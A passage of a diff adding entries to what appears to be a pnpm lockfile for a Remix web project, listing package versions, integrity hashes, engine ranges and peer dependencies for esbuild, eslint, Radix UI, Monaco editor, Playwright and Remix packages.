sha512-gnMnMPg5pfMkZvhHee21KbKdc6W3GR8/JuE0Da1kjwpK6oiFU3nqfHuVPgUX2rsOx9N2SadSQTIYV1CIjYG+xw==} + engines: {node: '>=12'} + cpu: [x64] + os: [sunos] + + '@esbuild/sunos-x64@0.21.5': + resolution: {integrity: sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==} + engines: {node: '>=12'} + cpu: [x64] + os: [sunos] + + '@esbuild/win32-arm64@0.17.6': + resolution: {integrity: sha512-G95n7vP1UnGJPsVdKXllAJPtqjMvFYbN20e8RK8LVLhlTiSOH1sd7+Gt7rm70xiG+I5tM58nYgwWrLs6I1jHqg==} + engines: {node: '>=12'} + cpu: [arm64] + os: [win32] + + '@esbuild/win32-arm64@0.21.5': + resolution: {integrity: sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==} + engines: {node: '>=12'} + cpu: [arm64] + os: [win32] + + '@esbuild/win32-ia32@0.17.6': + resolution: {integrity: sha512-96yEFzLhq5bv9jJo5JhTs1gI+1cKQ83cUpyxHuGqXVwQtY5Eq54ZEsKs8veKtiKwlrNimtckHEkj4mRh4pPjsg==} + engines: {node: '>=12'} + cpu: [ia32] + os: [win32] + + '@esbuild/win32-ia32@0.21.5': + resolution: {integrity: sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==} + engines: {node: '>=12'} + cpu: [ia32] + os: [win32] + + '@esbuild/win32-x64@0.17.6': + resolution: {integrity: sha512-n6d8MOyUrNp6G4VSpRcgjs5xj4A91svJSaiwLIDWVWEsZtpN5FA9NlBbZHDmAJc2e8e6SF4tkBD3HAvPF+7igA==} + engines: {node: '>=12'} + cpu: [x64] + os: [win32] + + '@esbuild/win32-x64@0.21.5': + resolution: {integrity: sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==} + engines: {node: '>=12'} + cpu: [x64] + os: [win32] + + '@eslint-community/eslint-utils@4.9.1': + resolution: {integrity: sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + peerDependencies: + eslint: ^6.0.0 || ^7.0.0 || >=8.0.0 + + '@eslint-community/regexpp@4.12.2': + resolution: {integrity: sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==} + engines: {node: ^12.0.0 || ^14.0.0 || >=16.0.0} + + '@eslint/eslintrc@2.1.4': + resolution: {integrity: sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + '@eslint/js@8.57.1': + resolution: {integrity: sha512-d9zaMRSTIKDLhctzH12MtXvJKSSUhaHcjV+2Z+GK+EEY7XKpP5yR4x+N3TAcHTcu963nIr+TMcCb4DBCYX1z6Q==} + engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} + + '@floating-ui/core@1.7.4': + resolution: {integrity: sha512-C3HlIdsBxszvm5McXlB8PeOEWfBhcGBTZGkGlWc2U0KFY5IwG5OQEuQ8rq52DZmcHDlPLd+YFBK+cZcytwIFWg==} + + '@floating-ui/dom@1.7.5': + resolution: {integrity: sha512-N0bD2kIPInNHUHehXhMke1rBGs1dwqvC9O9KYMyyjK7iXt7GAhnro7UlcuYcGdS/yYOlq0MAVgrow8IbWJwyqg==} + + '@floating-ui/react-dom@2.1.7': + resolution: {integrity: sha512-0tLRojf/1Go2JgEVm+3Frg9A3IW8bJgKgdO0BN5RkF//ufuz2joZM63Npau2ff3J6lUVYgDSNzNkR+aH3IVfjg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + + '@floating-ui/utils@0.2.10': + resolution: {integrity: sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ==} + + '@humanwhocodes/config-array@0.13.0': + resolution: {integrity: sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw==} + engines: {node: '>=10.10.0'} + deprecated: Use @eslint/config-array instead + + '@humanwhocodes/module-importer@1.0.1': + resolution: {integrity: sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==} + engines: {node: '>=12.22'} + + '@humanwhocodes/object-schema@2.0.3': + resolution: {integrity: sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==} + deprecated: Use @eslint/object-schema instead + + '@isaacs/cliui@8.0.2': + resolution: {integrity: sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==} + engines: {node: '>=12'} + + '@jridgewell/gen-mapping@0.3.13': + resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==} + + '@jridgewell/remapping@2.3.5': + resolution: {integrity: sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==} + + '@jridgewell/resolve-uri@3.1.2': + resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} + engines: {node: '>=6.0.0'} + + '@jridgewell/sourcemap-codec@1.5.5': + resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} + + '@jridgewell/trace-mapping@0.3.31': + resolution: {integrity: sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==} + + '@jspm/core@2.1.0': + resolution: {integrity: sha512-3sRl+pkyFY/kLmHl0cgHiFp2xEqErA8N3ECjMs7serSUBmoJ70lBa0PG5t0IM6WJgdZNyyI0R8YFfi5wM8+mzg==} + + '@mdx-js/mdx@2.3.0': + resolution: {integrity: sha512-jLuwRlz8DQfQNiUCJR50Y09CGPq3fLtmtUQfVrj79E0JWu3dvsVcxVIcfhR5h0iXu+/z++zDrYeiJqifRynJkA==} + + '@monaco-editor/loader@1.7.0': + resolution: {integrity: sha512-gIwR1HrJrrx+vfyOhYmCZ0/JcWqG5kbfG7+d3f/C1LXk2EvzAbHSg3MQ5lO2sMlo9izoAZ04shohfKLVT6crVA==} + + '@monaco-editor/react@4.7.0': + resolution: {integrity: sha512-cyzXQCtO47ydzxpQtCGSQGOC8Gk3ZUeBXFAxD+CWXYFo5OqZyZUonFl0DwUlTyAfRHntBfw2p3w4s9R6oe1eCA==} + peerDependencies: + monaco-editor: '>= 0.25.0 < 1' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + + '@nodelib/fs.scandir@2.1.5': + resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} + engines: {node: '>= 8'} + + '@nodelib/fs.stat@2.0.5': + resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} + engines: {node: '>= 8'} + + '@nodelib/fs.walk@1.2.8': + resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} + engines: {node: '>= 8'} + + '@npmcli/fs@3.1.1': + resolution: {integrity: sha512-q9CRWjpHCMIh5sVyefoD1cA7PkvILqCZsnSOEUUivORLjxCO/Irmue2DprETiNgEqktDBZaM1Bi+jrarx1XdCg==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + '@npmcli/git@4.1.0': + resolution: {integrity: sha512-9hwoB3gStVfa0N31ymBmrX+GuDGdVA/QWShZVqE0HK2Af+7QGGrCTbZia/SW0ImUTjTne7SP91qxDmtXvDHRPQ==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + '@npmcli/package-json@4.0.1': + resolution: {integrity: sha512-lRCEGdHZomFsURroh522YvA/2cVb9oPIJrjHanCJZkiasz1BzcnLr3tBJhlV7S86MBJBuAQ33is2D60YitZL2Q==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + '@npmcli/promise-spawn@6.0.2': + resolution: {integrity: sha512-gGq0NJkIGSwdbUt4yhdF8ZrmkGKVz9vAdVzpOfnom+V8PLSmSOVhZwbNvZZS1EYcJN5hzzKBxmmVVAInM6HQLg==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + + '@pkgjs/parseargs@0.11.0': + resolution: {integrity: sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==} + engines: {node: '>=14'} + + '@playwright/test@1.58.2': + resolution: {integrity: sha512-akea+6bHYBBfA9uQqSYmlJXn61cTa+jbO87xVLCWbTqbWadRVmhxlXATaOjOgcBaWU4ePo0wB41KMFv3o35IXA==} + engines: {node: '>=18'} + hasBin: true + + '@radix-ui/number@1.1.1': + resolution: {integrity: sha512-MkKCwxlXTgz6CFoJx3pCwn07GKp36+aZyu/u2Ln2VrA5DcdyCZkASEDBTd8x5whTQQL5CiYf4prXKLcgQdv29g==} + + '@radix-ui/primitive@1.1.3': + resolution: {integrity: sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==} + + '@radix-ui/react-arrow@1.1.7': + resolution: {integrity: sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-checkbox@1.3.3': + resolution: {integrity: sha512-wBbpv+NQftHDdG86Qc0pIyXk5IR3tM8Vd0nWLKDcX8nNn4nXFOFwsKuqw2okA/1D/mpaAkmuyndrPJTYDNZtFw==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-collection@1.1.7': + resolution: {integrity: sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-compose-refs@1.1.2': + resolution: {integrity: sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-context@1.1.2': + resolution: {integrity: sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-dialog@1.1.15': + resolution: {integrity: sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-direction@1.1.1': + resolution: {integrity: sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-dismissable-layer@1.1.11': + resolution: {integrity: sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-focus-guards@1.1.3': + resolution: {integrity: sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-focus-scope@1.1.7': + resolution: {integrity: sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-id@1.1.1': + resolution: {integrity: sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-popover@1.1.15': + resolution: {integrity: sha512-kr0X2+6Yy/vJzLYJUPCZEc8SfQcf+1COFoAqauJm74umQhta9M7lNJHP7QQS3vkvcGLQUbWpMzwrXYwrYztHKA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-popper@1.2.8': + resolution: {integrity: sha512-0NJQ4LFFUuWkE7Oxf0htBKS6zLkkjBH+hM1uk7Ng705ReR8m/uelduy1DBo0PyBXPKVnBA6YBlU94MBGXrSBCw==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-portal@1.1.9': + resolution: {integrity: sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-presence@1.1.5': + resolution: {integrity: sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-primitive@2.1.3': + resolution: {integrity: sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-primitive@2.1.4': + resolution: {integrity: sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-roving-focus@1.1.11': + resolution: {integrity: sha512-7A6S9jSgm/S+7MdtNDSb+IU859vQqJ/QAtcYQcfFC6W8RS4IxIZDldLR0xqCFZ6DCyrQLjLPsxtTNch5jVA4lA==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-select@2.2.6': + resolution: {integrity: sha512-I30RydO+bnn2PQztvo25tswPH+wFBjehVGtmagkU78yMdwTwVf12wnAOF+AeP8S2N8xD+5UPbGhkUfPyvT+mwQ==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-separator@1.1.8': + resolution: {integrity: sha512-sDvqVY4itsKwwSMEe0jtKgfTh+72Sy3gPmQpjqcQneqQ4PFmr/1I0YA+2/puilhggCe2gJcx5EBAYFkWkdpa5g==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-slot@1.2.3': + resolution: {integrity: sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-slot@1.2.4': + resolution: {integrity: sha512-Jl+bCv8HxKnlTLVrcDE8zTMJ09R9/ukw4qBs/oZClOfoQk/cOTbDn+NceXfV7j09YPVQUryJPHurafcSg6EVKA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-tabs@1.1.13': + resolution: {integrity: sha512-7xdcatg7/U+7+Udyoj2zodtI9H/IIopqo+YOIcZOq1nJwXWBZ9p8xiu5llXlekDbZkca79a/fozEYQXIA4sW6A==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-tooltip@1.2.8': + resolution: {integrity: sha512-tY7sVt1yL9ozIxvmbtN5qtmH2krXcBCfjEiCgKGLqunJHvgvZG2Pcl2oQ3kbcZARb1BGEHdkLzcYGO8ynVlieg==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/react-use-callback-ref@1.1.1': + resolution: {integrity: sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-controllable-state@1.2.2': + resolution: {integrity: sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-effect-event@0.0.2': + resolution: {integrity: sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-escape-keydown@1.1.1': + resolution: {integrity: sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-layout-effect@1.1.1': + resolution: {integrity: sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-previous@1.1.1': + resolution: {integrity: sha512-2dHfToCj/pzca2Ck724OZ5L0EVrr3eHRNsG/b3xQJLA2hZpVCS99bLAX+hm1IHXDEnzU6by5z/5MIY794/a8NQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-rect@1.1.1': + resolution: {integrity: sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-use-size@1.1.1': + resolution: {integrity: sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ==} + peerDependencies: + '@types/react': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + + '@radix-ui/react-visually-hidden@1.2.3': + resolution: {integrity: sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==} + peerDependencies: + '@types/react': '*' + '@types/react-dom': '*' + react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc + peerDependenciesMeta: + '@types/react': + optional: true + '@types/react-dom': + optional: true + + '@radix-ui/rect@1.1.1': + resolution: {integrity: sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw==} + + '@remix-run/dev@2.17.4': + resolution: {integrity: sha512-El7r5W6ErX9KIy27+urbc4SIZnIlVDgTOUqzA7Zbv7caKYrsvgj/Z3i/LPy4VNfv0G1EdawPOrygJgIKT4r2FA==} + engines: {node: '>=18.0.0'} + hasBin: true + peerDependencies: + '@remix-run/react': ^2.17.0 + '@remix-run/serve': ^2.17.0 + typescript: ^5.1.0 + vite: ^5.1.0 || ^6.0.0 + wrangler: ^3.28.2 + peerDependenciesMeta: + '@remix-run/serve': + optional: true + typescript: + optional: true + vite: + optional: true + wrangler: + optional: true + + '@remix-run/express@2.17.4': + resolution: {integrity: sha512-4zZs0L7v2pvAq896zHRLNMhoOKIPXM9qnYdHLbz4mpZUMbNAgQacGazArIrUV3M4g0gRMY0dLrt5CqMNrlBeYg==} + engines: {node: '>=18.0.0'} + peerDependencies: + express: ^4.20.0 + typescript: ^5.1.0 + peerDependenciesMeta: + typescript: + optional: true + + '@remix-run/node@2.17.4': + resolution: {integrity: sha512-9A29JaYiGHDEmaiQuD1IlO/TrQxnnkj98GpytihU+Nz6yTt6RwzzyMMqTAoasRd1dPD4OeSaSqbwkcim/eE76Q==} + engines: {node: '>=18.0.0'} + peerDependencies: + typescript: ^5.1.0 + peerDependenciesMeta: + typescript: + optional: true + + '@remix-run/react@2.17.4': + resolution: {integrity: sha512-MeXHacIBoohr9jzec5j/Rmk57xk34korkPDDb0OPHgkdvh20lO5fJoSAcnZfjTIOH+Vsq1ZRQlmvG5PRQ/64Sw==} + engines: {node: '>=18.0.0'} + peerDependencies: + react: ^18.0.0 + react-dom: ^18.0.0 + typescript: ^5.1.0 + peerDependenciesMeta: + typescript: + optional: true + + '@remix-run/router@1.23.2': + resolution: {integrity: sha512-Ic6m2U/rMjTkhERIa/0ZtXJP17QUi2CbWE7cqx4J58M8aA3QTfW+2UlQ4psvTX9IO1RfNVhK3pcpdjej7L+t2w==} + engines: {node: '>=14.0.0'} + + '@remix-run/serve@2.17.4': + resolution: {integrity: sha512-c632agTDib70cytmxMVqSbBMlhFKawcg5048yZZK/qeP2AmUweM7OY6Ivgcmv/pgjLXYOu17UBKhtGU8T5y8cQ==} + engines: {node: '>=18.0.0'} + hasBin: true + + '@remix-run/server-runtime@2.17.4': + resolution: {integrity: sha512-oCsFbPuISgh8KpPKsfBChzjcntvTz5L+ggq9VNYWX8RX3yA7OgQpKspRHOSxb05bw7m0Hx+L1KRHXjf3juKX8w==} + engines: {node: '>=18.0.0'} + peerDependencies: + typescript: ^5.1.0 + peerDependenciesMeta: + typescript: + optional: true + + 